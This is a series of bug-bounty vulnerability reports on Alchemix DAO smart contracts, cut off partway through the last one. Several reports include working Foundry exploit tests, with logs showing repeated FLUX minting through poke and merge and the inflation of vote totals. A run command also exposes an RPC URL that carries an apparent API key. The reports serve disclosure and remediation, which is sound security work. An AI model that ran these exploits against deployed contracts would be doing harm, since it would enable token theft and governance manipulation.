    // time goes forward
    hevm.warp(block.timestamp + 2);

    hevm.startPrank(beef);
    // beef claim rewards
    voter.claimBribes(bribes, tokens, tokenId2);
    hevm.stopPrank();

}
```

#### Attack PoC

Add this test to `src/test/Voting.t.sol`

```
function testTotalVotesInflation() public {

    uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
    uint256 tokenId2 = createVeAlcx(beef, TOKEN_1, MAXTIME, false);
    address bribeAddress = voter.bribes(address(sushiGauge));

    // Add BAL bribes to sushiGauge
    createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

    address[] memory pools = new address[](1);
    pools[0] = sushiPoolAddress;
    uint256[] memory weights = new uint256[](1);
    weights[0] = 5000;

    address[] memory bribes = new address[](1);
    bribes[0] = address(bribeAddress);
    address[][] memory tokens = new address[][](1);
    tokens[0] = new address[](1);
    tokens[0][0] = bal;

    // in epoch i, attacker votes with balance x
    hevm.prank(admin);
    voter.vote(tokenId1, pools, weights, 0);

    // time goes forward
    hevm.warp(block.timestamp + 2);

    // beef votes with balance x
    hevm.prank(beef);
    voter.vote(tokenId2, pools, weights, 0);

    // ------------------- Start epoch i+1
    hevm.warp(newEpoch() + 1);
    createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

    hevm.startPrank(admin);
    // attacker front-runs the distribution and votes with balance X
    voter.vote(tokenId1, pools, weights, 0);
    // now he executes the distribution
    voter.distribute();
    hevm.stopPrank();

    // time goes forward
    hevm.warp(block.timestamp + 2);

    // beef votes with balance X
    hevm.prank(beef);
    voter.vote(tokenId2, pools, weights, 0);

    // ------------------- Start epoch i+2
    hevm.warp(newEpoch() + 1);
    createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

    // distribution is executed
    voter.distribute();

    hevm.startPrank(admin);
    // attacker claims an inflated share
    voter.claimBribes(bribes, tokens, tokenId1);
    hevm.stopPrank();

    // time goes forward
    hevm.warp(block.timestamp + 2);

    hevm.startPrank(beef);
    // beef tries to claim but his transaction reverts due to lack of funds
    voter.claimBribes(bribes, tokens, tokenId2);
    hevm.stopPrank();

}
```


# 31189 - \[SC - High] Voting algorithm does not apply maximum availab...

Submitted on May 14th 2024 at 15:36:44 UTC by @xBentley for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31189

Report type: Smart Contract

Report severity: High

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Contract fails to deliver promised returns, but doesn't lose value

## Description

## Brief/Intro

When voting, the algorithm used to allocate weights to pools does not use up all available voting power for the token. This can disadvantage some voters leading to skewed voting.

## Vulnerability Details

When voting, weights for each pool are allocated proportionally, <https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L432>:

```solidity
 uint256 _poolWeight = (_weights[i] * totalPower) / _totalVoteWeight;
```

This calculation leaves out some amounts unallocated since Solidity will round down the calculation making \_totalWeight to be less than totalPower. Actually the code does not check that the totalPower available has been used up. Consider this scenario:

totalPower = 500 weight1 = 10 weight2 = 50 weight3 = 75

poolWeight1 = (10 \* 500)/135 = 37 poolWeight2 = (50 \* 500)/135 = 185 poolWeight3 = (75 \* 500)/135 = 277

total voting power used = 499.

## Impact Details

Voters who will be affected by the rounding down might not be able to apply all available voting power, compared to other voters who, for example, pass in single parameters. This might lead to skewed voting results where the final tally is determined by a small difference between nays and ayes.

## References

<https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L432>

\##Recommendation I would recommend that the weight for the last pool be allocated via Subtraction and not division, thus src/Voter.sol::Ln432:

```solidity
 if(i == _poolCnt - 1)
uint256 _poolWeight = totalPower - _totalWeight;
```

## Proof of Concept

Add this test to src/test/Voting.t.sol:

```solidity
    function testMultiPoolVote() public {
        uint256 tokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);

        hevm.startPrank(admin);

        hevm.warp(block.timestamp + nextEpoch);

        uint256 maxPower = veALCX.balanceOfToken(tokenId);
        console.log(maxPower);
        address[] memory pools = new address[](3);
        pools[0] = alETHPool;
        pools[1] = sushiPoolAddress;
        pools[2] = balancerPoolAddress;
        uint256[] memory weights = new uint256[](3);
        weights[0] = 1;
        weights[1] = 50;
        weights[2] = 75;
        voter.vote(tokenId, pools, weights, 0);

        uint256 weightAlETH = voter.weights(alETHPool);
        uint256 weightSushi = voter.weights(sushiPoolAddress);
        uint256 weightBalancer = voter.weights(balancerPoolAddress);
        assertGt(maxPower,weightBalancer + weightSushi + weightAlETH);
    }

```

Due to Solidity rounding down, the total power applied is less than available for the token.


# 31196 - \[SC - Critical] Voterpoke does not check lastVoted resulting in...

Submitted on May 14th 2024 at 19:38:20 UTC by @yttriumzz for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31196

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

## Description

## Brief/Intro

In AlchemixDAO, each $veToken can vote once per epoch, and users can receive $FLUX as a reward after voting. However, the `Voter.poke` interface allows users to easily repeat previous votes without check whether the $veToken has already voted in the current epoch. As a result, users can call the poke interface infinitely to receive $FLUX repeatedly.

## Vulnerability Details

Please see the following code. The `Voter.vote` interface uses the `onlyNewEpoch` modifier to check whether $veToken has voted in the current epoch.

```solidity
///// https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L228-L233
    function vote(
        uint256 _tokenId,
        address[] calldata _poolVote,
        uint256[] calldata _weights,
        uint256 _boost
    ) external onlyNewEpoch(_tokenId) {
```

However, the `Voter.poke` interface, which also has the voting function, does not check `lastVoted`, causing users to call the interface repeatedly.

```solidity
///// https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L195-L212
    function poke(uint256 _tokenId) public {
        // Previous boost will be taken into account with weights being pulled from the votes mapping
        uint256 _boost = 0;

        if (msg.sender != admin) {
            require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
        }

        address[] memory _poolVote = poolVote[_tokenId];
        uint256 _poolCnt = _poolVote.length;
        uint256[] memory _weights = new uint256[](_poolCnt);

        for (uint256 i = 0; i < _poolCnt; i++) {
            _weights[i] = votes[_tokenId][_poolVote[i]];
        }

        _vote(_tokenId, _poolVote, _weights, _boost);
    }
```

**Suggested fix**

Check the `lastVoted` of the token.

```diff
-   function poke(uint256 _tokenId) public {
+   function poke(uint256 _tokenId) public onlyNewEpoch(_tokenId) {
        // Previous boost will be taken into account with weights being pulled from the votes mapping
        uint256 _boost = 0;

        if (msg.sender != admin) {
            require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
        }

        address[] memory _poolVote = poolVote[_tokenId];
        uint256 _poolCnt = _poolVote.length;
        uint256[] memory _weights = new uint256[](_poolCnt);

        for (uint256 i = 0; i < _poolCnt; i++) {
            _weights[i] = votes[_tokenId][_poolVote[i]];
        }

        _vote(_tokenId, _poolVote, _weights, _boost);
    }
```

## Impact Details

Users can infinitely copy $FLUX causing Alchemix token economics to collapse.

## References

None

## Proof of Concept

The PoC patch

```solidity
diff --git a/src/test/Voting.t.sol b/src/test/Voting.t.sol
index 3f1cc5a..c71a697 100644
--- a/src/test/Voting.t.sol
+++ b/src/test/Voting.t.sol
@@ -1562,4 +1562,28 @@ contract VotingTest is BaseTest {
         hevm.expectRevert(abi.encodePacked("invalid pools"));
         voter.vote(tokenId, pools2, weights3, 0);
     }
+
+    function testYttriumzzPocTemp() public {
+        hevm.startPrank(admin);
+
+        uint256 tokenId = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
+
+        console.log(">>>>> before steal");
+        console.log(">> flux.balanceOf(admin): %s", flux.balanceOf(admin));
+        console.log();
+
+        console.log(">>>>> steal 100 times");
+        for (uint256 i = 0; i < 100; i++) { voter.poke(tokenId); }
+        flux.claimFlux(tokenId, flux.getUnclaimedFlux(tokenId));
+        console.log(">> flux.balanceOf(admin): %s", flux.balanceOf(admin));
+        console.log();
+
+        console.log(">>>>> steal 100 times");
+        for (uint256 i = 0; i < 100; i++) { voter.poke(tokenId); }
+        flux.claimFlux(tokenId, flux.getUnclaimedFlux(tokenId));
+        console.log(">> flux.balanceOf(admin): %s", flux.balanceOf(admin));
+        console.log();
+
+        hevm.stopPrank();
+    }
 }
```

Run the PoC

```bash
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/VFefkgjj8h3SgRYcCvmtp9KoMJJij6gD --fork-block-number 17133822 -vvv --match-test testYttriumzzPocTemp
```

The log

```bash
$ FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/VFefkgjj8h3SgRYcCvmtp9KoMJJij6gD --fork-block-number 17133822 -vvv --match-test testYttriumzzPocTemp
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/Voting.t.sol:VotingTest
[PASS] testYttriumzzPocTemp() (gas: 4897718)
Logs:
  >>>>> before steal
  >> flux.balanceOf(admin): 0
  
  >>>>> steal 100 times
  >> flux.balanceOf(admin): 99725916412156217700
  
  >>>>> steal 100 times
  >> flux.balanceOf(admin): 199451832824312435400
  

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 61.62ms (46.36ms CPU time)

Ran 1 test suite in 1.68s (61.62ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


# 31198 - \[SC - Critical] VotingEscrowmerge does not check whether the \_f...

Submitted on May 14th 2024 at 20:31:50 UTC by @yttriumzz for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31198

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/VotingEscrow.sol>

Impacts:

* Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

## Description

## Brief/Intro

The `VotingEscrow.merge` interface can merge two $veToken. It checks `voted[_from]` to ensure that `_from` $veToken has not voted in the current epoch. However, this check is not comprehensive enough because the user can call `Voter.reset` to claim $FLUX without setting `voted[_from]` to `true`.

## Vulnerability Details

Please see the following code. Users can call `Voter.reset` to receive $FLUX. This interface will call `VotingEscrow.abstain` to set `voted[_tokenId]` to `false`. Moreover, the `onlyNewEpoch` modifier limits each `_tokenId` to only call the interface once per epoch. Next we use `VotingEscrow.merge` to bypass this limit.

```solidity
///// https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L183-L192
    function reset(uint256 _tokenId) public onlyNewEpoch(_tokenId) {
        if (msg.sender != admin) {
            require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
        }

        lastVoted[_tokenId] = block.timestamp;
        _reset(_tokenId);
        IVotingEscrow(veALCX).abstain(_tokenId);
        IFluxToken(FLUX).accrueFlux(_tokenId);
    }
```

Please look at the following code. The `VotingEscrow.merge` interface can merge two $veToken into one. It only checks `voted[_from]` but not `voter.lastVoted(_from)`. In other words, we first call `Voter.reset(_from)` and then merge `_from` $veToken into another $veToken to continue receiving $FLUX.

```solidity
///// https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/VotingEscrow.sol#L618-L622
    function merge(uint256 _from, uint256 _to) external {
        require(!voted[_from], "voting in progress for token");
        require(_from != _to, "must be different tokens");
        require(_isApprovedOrOwner(msg.sender, _from), "not approved or owner");
        require(_isApprovedOrOwner(msg.sender, _to), "not approved or owner");
```

This is a brief description of the attack. Please see the PoC code for details.

1. The attacker owns $veTokenA and calls `Voter.reset` on $veTokenA. The attacker will receive $FLUX once
2. The attacker creates a new $veTokenTemp worth `1` wei of $BPT. `1` wei $BPT cost is `~0`
3. The attacker merges $veTokenA into $veTokenTemp
4. Now treat $veTokenTemp as $veTokenA and go back to the step1

Repeat the above steps to receive unlimited $FLUX

**Suggested fix**

Check whether the `_from` $veToken has voted

```diff
    function merge(uint256 _from, uint256 _to) external {
+       require((block.timestamp / DURATION) * DURATION > IVoter(voter).lastVoted(_from));
        require(!voted[_from], "voting in progress for token");
        require(_from != _to, "must be different tokens");
        require(_isApprovedOrOwner(msg.sender, _from), "not approved or owner");
        require(_isApprovedOrOwner(msg.sender, _to), "not approved or owner");
```

## Impact Details

Attackers can receive unlimited $FLUX unlimitedly

## References

None

## Proof of Concept

The PoC patch

```diff
diff --git a/src/test/VotingEscrow.t.sol b/src/test/VotingEscrow.t.sol
index 6e828a3..cfb35e6 100644
--- a/src/test/VotingEscrow.t.sol
+++ b/src/test/VotingEscrow.t.sol
@@ -1015,4 +1015,43 @@ contract VotingEscrowTest is BaseTest {
 
         hevm.stopPrank();
     }
+
+    function testYttriumzzPocTemp() public {
+        hevm.startPrank(admin);
+
+        uint256 tokenId = veALCX.createLock(1e18, 0, true);
+
+        console.log(">>>>> before steal");
+        console.log(">> IERC20(bpt).balanceOf(admin): %s", IERC20(bpt).balanceOf(admin));
+        console.log(">> flux.balanceOf(admin): %s", flux.balanceOf(admin));
+        console.log();
+
+        for (uint256 i = 0; i < 50; i++) {
+            voter.reset(tokenId);
+            flux.claimFlux(tokenId, flux.getUnclaimedFlux(tokenId));
+            uint256 tokenIdTemp = veALCX.createLock(1, 0, true);
+            veALCX.merge(tokenId, tokenIdTemp);
+            tokenId = tokenIdTemp;
+        }
+        
+        console.log(">>>>> after steal 50 times");
+        console.log(">> IERC20(bpt).balanceOf(admin): %s", IERC20(bpt).balanceOf(admin));
+        console.log(">> flux.balanceOf(admin): %s", flux.balanceOf(admin));
+        console.log();
+
+        for (uint256 i = 0; i < 100; i++) {
+            voter.reset(tokenId);
+            flux.claimFlux(tokenId, flux.getUnclaimedFlux(tokenId));
+            uint256 tokenIdTemp = veALCX.createLock(1, 0, true);
+            veALCX.merge(tokenId, tokenIdTemp);
+            tokenId = tokenIdTemp;
+        }
+        
+        console.log(">>>>> after steal 150 times");
+        console.log(">> IERC20(bpt).balanceOf(admin): %s", IERC20(bpt).balanceOf(admin));
+        console.log(">> flux.balanceOf(admin): %s", flux.balanceOf(admin));
+        console.log();
+
+        hevm.stopPrank();
+    }
 }
```

Run the PoC

```bash
FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/VFefkgjj8h3SgRYcCvmtp9KoMJJij6gD --fork-block-number 17133822 -vvv --match-test testYttriumzzPocTemp
```

The log

```bash
$ FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/VFefkgjj8h3SgRYcCvmtp9KoMJJij6gD --fork-block-number 17133822 -vvv --match-test testYttriumzzPocTemp
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest
[PASS] testYttriumzzPocTemp() (gas: 114711590)
Logs:
  >>>>> before steal
  >> IERC20(bpt).balanceOf(admin): 99999999000000000000000000
  >> flux.balanceOf(admin): 0
  
  >>>>> after steal 50 times
  >> IERC20(bpt).balanceOf(admin): 99999998999999999999999950
  >> flux.balanceOf(admin): 49862958206078108850
  
  >>>>> after steal 150 times
  >> IERC20(bpt).balanceOf(admin): 99999998999999999999999850
  >> flux.balanceOf(admin): 149588874618234326550
  

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 417.75ms (402.92ms CPU time)

Ran 1 test suite in 1.73s (417.75ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


# 31199 - \[SC - Critical] Users might receive less rewars token after Vot...

Submitted on May 14th 2024 at 20:56:20 UTC by @jasonxiale for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31199

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Bribe.sol>

Impacts:

* Permanent freezing of unclaimed yield

## Description

## Brief/Intro

A token owner can call `Voter.poke` to update the voting power, during the `Voter.poke` call, the `Bribe.totalVoting` isn't updated correctly, which results that the `Bribe.earned` will not calculate the rewards correctly.

## Vulnerability Details

While a token owner calls [Voter.poke](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L194-L212), `Voter._reset` is called at the beginning of the [Voter.\_vote](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L413). In `Voter._reset`, `Bribe.withdraw` is called in [Voter.sol#L396](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L396) And `Bribe.withdraw` is defined [as](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Bribe.sol#L319-L329)

```solidity
319     function withdraw(uint256 amount, uint256 tokenId) external {
320         require(msg.sender == voter);
321 
322         totalSupply -= amount;
323         balanceOf[tokenId] -= amount;
324 
325         _writeCheckpoint(tokenId, balanceOf[tokenId]);
326         _writeSupplyCheckpoint();
327 
328         emit Withdraw(msg.sender, tokenId, amount);
329     }
```

On other side, `Bribe.deposit` is defined [as](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Bribe.sol#L303-L316)

```solidity
303     function deposit(uint256 amount, uint256 tokenId) external {
304         require(msg.sender == voter);
305 
306         totalSupply += amount;
307         balanceOf[tokenId] += amount;
308 
309         totalVoting += amount;
310 
311         _writeCheckpoint(tokenId, balanceOf[tokenId]);
312         _writeSupplyCheckpoint();
313         _writeVotingCheckpoint();
314 
315         emit Deposit(msg.sender, tokenId, amount);
316     }
```

**As show above, `totalVoting` isn't updated in `Bribe.withdraw`, and the function doesn't call `_writeVotingCheckpoint` to update the checkpoint**.

Then, while calculating the reward in [Bribe.earned](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Bribe.sol#L221-L280), the function uses `votingCheckpoints.votes` to calculate the rewards in [Bribe.sol#L255-L261](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Bribe.sol#L255-L261) and [Bribe.sol#L268-L277](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Bribe.sol#L268-L277)

```solidity
221     function earned(address token, uint256 tokenId) public view returns (uint256) {
...
242         if (_endIndex >= 0) {
243             for (uint256 i = _startIndex; i <= _endIndex; i++) {
...
254                 prevRewards.timestamp = _nextEpochStart;
255                 _prevSupply = votingCheckpoints[getPriorVotingIndex(_nextEpochStart + DURATION)].votes; <<<--- totalVoting is used here
256 
257                 // Prevent divide by zero
258                 if (_prevSupply == 0) {
259                     _prevSupply = 1;
260                 }
261                 prevRewards.balanceOf = (cp0.balanceOf * tokenRewardsPerEpoch[token][_nextEpochStart]) / _prevSupply;
262             }
263         }
...
268         uint256 _priorSupply = votingCheckpoints[getPriorVotingIndex(_lastEpochEnd)].votes; <<<--- totalVoting is used here
...
279         return reward;
280     }
```

So to sum up, during `Voter.poke` call:

1. `Bribe.withdraw` will be called, but within the function `Bribe.totalVoting` isn't deducting `amount`
2. `Bribe.deposit` will be called in [Voter.\_vote](https://github.com/alchemix-finance/alchemix-v2-dao/blob/f1007439ad3a32e412468c4c42f62f676822dc1f/src/Voter.sol#L441), but this time, `Bribe.totalVoting` is added `amount` So `Voter.poke` function will cause `Bribe.totalVoting` to increase. Then when calculating the rewards amount in `Bribe.earned`, `Bribe.totalVoting` is used, which will result wrong amount of rewards.

## Impact Details

User might receive less reward token after `Voter.poke` is called, and the unclaimed reward token will stuck in the contract.

## References

Add any relevant links to documentation or code

## Proof of Concept

Add the following code to `src/test/Voting.t.sol`, and run

```bash
$ FOUNDRY_PROFILE=default forge test --fork-url https://eth-mainnet.alchemyapi.io/v2/$API --fork-block-number 17133822 --mc VotingTest --mt testAliceBribes -vv
[⠊] Compiling...
No files changed, compilation skipped

Ran 2 tests for src/test/Voting.t.sol:VotingTest
[PASS] testAliceBribesNoPoke() (gas: 3532165)
Logs:
  token1 earned aura     :  50000
  token2 earned aura     :  50000

[PASS] testAliceBribesPoke() (gas: 3797647)
Logs:
  token1 earned aura     :  20000
  token2 earned aura     :  20000

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 9.93ms (10.25ms CPU time)

```

From the output we can see that

1. in `testAliceBribesNoPoke` Alice doesn't call `Voter.poke`, token1 and token2 will get 50000\*1e18 aura
2. in `testAliceBribesPoke`, Alice calls `Voter.poke` 3 times, token1 and token2 will get 20000\*1e18 aura

```solidity
    function testAliceBribesNoPoke() public {
        address Alice = address(0x11001100);
        address Bob   = address(0x22002200);
        uint256 tokenId1 = createVeAlcx(Alice, TOKEN_1, MAXTIME, false);
        uint256 tokenId2 = createVeAlcx(Bob, TOKEN_1, MAXTIME, false);
        uint256 initialTimestamp = block.timestamp;

        address bribeAddress = voter.bribes(address(sushiGauge));
        uint256 rewardsLength = IBribe(bribeAddress).rewardsListLength();

        // Add BAL bribes to sushiGauge
        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](2);
        tokens[0] = new address[](2);
        tokens[0][0] = bal;
        tokens[0][1] = aura;

        hevm.prank(Alice);
        voter.vote(tokenId1, pools, weights, 0);

        hevm.prank(Bob);
        voter.vote(tokenId2, pools, weights, 0);

        // Adding a bribe to a gauge should increase the bribes list length
        // Should be able to add a bribe at any point in an epoch
        hevm.warp(block.timestamp + 6 days);
        createThirdPartyBribe(bribeAddress, aura, TOKEN_100K);

        hevm.warp(block.timestamp + 8 days);
        console2.log("token1 earned aura     : ", IBribe(bribeAddress).earned(aura, tokenId1) / 1e18);
        console2.log("token2 earned aura     : ", IBribe(bribeAddress).earned(aura, tokenId2) / 1e18);
    }
    function testAliceBribesPoke() public {
        address Alice = address(0x11001100);
        address Bob   = address(0x22002200);
        uint256 tokenId1 = createVeAlcx(Alice, TOKEN_1, MAXTIME, false);
        uint256 tokenId2 = createVeAlcx(Bob, TOKEN_1, MAXTIME, false);
        uint256 initialTimestamp = block.timestamp;

        address bribeAddress = voter.bribes(address(sushiGauge));
        uint256 rewardsLength = IBribe(bribeAddress).rewardsListLength();

        // Add BAL bribes to sushiGauge
        createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);

        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 5000;

        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](2);
        tokens[0] = new address[](2);
        tokens[0][0] = bal;
        tokens[0][1] = aura;

        hevm.prank(Alice);
        voter.vote(tokenId1, pools, weights, 0);

        hevm.prank(Bob);
        voter.vote(tokenId2, pools, weights, 0);

        hevm.prank(Alice);
        voter.poke(tokenId1);
        hevm.prank(Alice);
        voter.poke(tokenId1);
        hevm.prank(Alice);
        voter.poke(tokenId1);

        // Adding a bribe to a gauge should increase the bribes list length
        // Should be able to add a bribe at any point in an epoch
        hevm.warp(block.timestamp + 6 days);
        createThirdPartyBribe(bribeAddress, aura, TOKEN_100K);

        hevm.warp(block.timestamp + 8 days);
        console2.log("token1 earned aura     : ", IBribe(bribeAddress).earned(aura, tokenId1) / 1e18);
        console2.log("token2 earned aura     : ", IBribe(bribeAddress).earned(aura, tokenId2) / 1e18);
    }
```


# 31211 - \[SC - Critical] Inflation Of Total Votes and Potential Freeze o...

Submitted on May 15th 2024 at 01:14:14 UTC by @Limbooo for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/)

Report ID: #31211

Report type: Smart Contract

Report severity: Critical

Target: <https://github.com/alchemix-finance/alchemix-v2-dao/blob/main/src/Voter.sol>

Impacts:

* Permanent freezing of unclaimed yield
* Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results

## Description

## Intro

The identified vulnerability resides within the interaction between the `Voter.sol` and `Bribe.sol` contracts. Specifically, it involves the potential for inflating the vote totals by repeatedly "poking" (updating) a vote within a single epoch, which is not adequately safeguarded against in the current implementation. This issue can be exploited to manipulate the voting of current epoch outcomes and affect the distribution of protocol rewards.

## Vulnerability Details

The vulnerability arises from the lack of checks against multiple updates within the same voting epoch in the `Voter.sol` contract. A user can call the `poke` function multiple times to artificially inflate pool influence within a voting period. This is due to the system's failure to verify whether the state of votes has significantly changed between updates, allowing for repeated increases in the recorded vote total without actual additional staking.

### Functionality and Misuse of the `poke` Function:

The `poke` function is designed to adjust a voter's weight in ongoing votes either if they increase their locked tokens or when they want to maintain the same votes next epoch. Under normal operations, this function would recalibrate the allocated voting power in accordance with newly locked tokens to reflect the user's current stake accurately. However, this function can be repeatedly invoked with or without actual changes in the locked amount, allowing users to artificially inflate pool influence in the governance process.

### Technical Breakdown of the Issue:

When `poke` is called, it triggers the `_vote` function, which in turn calls `_reset`. This interaction leads to a call to `Bribe::withdraw()`, which effectively removes the voter’s existing votes but crucially does not adjust the `totalVoting` or `votingCheckpoints` immediately. The absence of immediate adjustment in these metrics leaves a window where the integrity of vote tracking is compromised.

Subsequently, when `_vote` continues, it calls `Bribe::deposit()` to reallocate votes with the new weights. This process incorrectly increases the `totalVoting` and updates `votingCheckpoints` based on the recalculated but unverified weight. The critical flaw here is that these updates accrue cumulatively with each call to `poke`, without a corresponding real increase in locked tokens, leading to inflated voting totals.

```solidity
   function deposit(uint256 amount, uint256 tokenId) external {
        require(msg.sender == voter);

        totalSupply += amount;
        balanceOf[tokenId] += amount;

        totalVoting += amount;

        _writeCheckpoint(tokenId, balanceOf[tokenId]);
        _writeSupplyCheckpoint();
        _writeVotingCheckpoint();

        emit Deposit(msg.sender, tokenId, amount);
    }


    function withdraw(uint256 amount, uint256 tokenId) external {
        require(msg.sender == voter);

        totalSupply -= amount;
        balanceOf[tokenId] -= amount;

        _writeCheckpoint(tokenId, balanceOf[tokenId]);
        _writeSupplyCheckpoint();

        emit Withdraw(msg.sender, tokenId, amount);
    }
```

### Consequences of the Flaw:

This flaw allows a user to repeatedly 'refresh' their vote weight by merely invoking `poke`, each time erroneously accumulating more apparent influence in the total votes counted by the system. This not only distorts the actual representational voting power but also undermines the integrity and intended democratic nature of the governance system.

### Recommendations for Mitigation:

Immediate measures should include implementing checks that verify actual changes in locked tokens before allowing updates to vote weights and recalculations of voting power. Additionally, mechanisms should be in place to ensure that the withdrawal and deposit functions cannot be exploited to manipulate vote totals outside of legitimate staking updates.

## Impact Details

* **Freezing of Yield**: Incorrect vote totals can lead to incorrect reward calculations, potentially leaving a significant portion of rewards unclaimed as the system believes more votes exist than actually staked.
* **Griefing and Disruption**: Malicious actors can disrupt the fair distribution of rewards and the accurate representation of voter sentiment in governance decisions.
* **Governance Manipulation**: The inflated votes can alter the outcome of governance decisions, leading to implementations that do not reflect the true consensus of the token holders, thus undermining the democratic process of the DAO.

## Proof of concept

### Test Case (Foundry)

The test can be added to a new file under the current test suite `src/test/VotingPoC.t.sol`, then specify the file name in `FILE` flag under `Makefile` configuration. Run using `make test_file`

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "./BaseTest.sol";

contract VotingPoCTest is BaseTest {
    address public alice;
    address public bob;

    function setUp() public {
        setupContracts(block.timestamp);

        // Setup Alice and Bob addresses
        alice = vm.addr(uint256(keccak256(abi.encodePacked('Alice'))));
        vm.label(alice, 'Alice');
        bob = vm.addr(uint256(keccak256(abi.encodePacked('Bob'))));
        vm.label(alice, 'Bob');
    }

    function testFreezingTheftOfUnclaimedBribes() public {
        uint256 period = minter.activePeriod();
        hevm.warp(period + 1 days);

        uint256 aliceTokenId = createVeAlcx(alice, TOKEN_1, 1, true);
        uint256 bobTokenId = createVeAlcx(bob, TOKEN_1, 1, true);

        address bribeAddress = voter.bribes(address(sushiGauge));
        address[] memory pools = new address[](1);
        pools[0] = sushiPoolAddress;
        uint256[] memory weights = new uint256[](1);
        weights[0] = 10000;

        address[] memory bribes = new address[](1);
        bribes[0] = address(bribeAddress);
        address[][] memory tokens = new address[][](2);
        tokens[0] = new address[](1);
        tokens[0][0] = bal;


        // Reward amount
        uint256 rewardAmount = TOKEN_100K;
        // Notify bribe for reward amount
        createThirdPartyBribe(bribeAddress, bal, rewardAmount);

        // Alice Vote
        hevm.prank(alice);
        voter.vote(aliceTokenId, pools, weights, 0);
        // Bob Vote
        hevm.prank(bob);
        voter.vote(bobTokenId, pools, weights, 0);


        // Just right before the next epoch started
        hevm.warp(period + 2 weeks - 1);
        // Check the total votes of current epoch before inflation
        (, uint256 epochTotalVotes) = Bribe(bribeAddress).votingCheckpoints(IBribe(bribeAddress).getPriorVotingIndex(period + 2 weeks));
        uint256 aliceTokenIdBalance = Bribe(bribeAddress).balanceOf(aliceTokenId);
        uint256 bobTokenIdBalance = Bribe(bribeAddress).balanceOf(bobTokenId);
        assertEq(aliceTokenIdBalance, bobTokenIdBalance);
        assertEq(epochTotalVotes, aliceTokenIdBalance + bobTokenIdBalance);

        // Alice inflate the total voting amount of the current epoch by callling poke multiple times (8)
        for (uint i = 0; i < 8; i++) {
            hevm.prank(alice);
            voter.poke(aliceTokenId);
        }

        // Check the total votes of current epoch after inflation
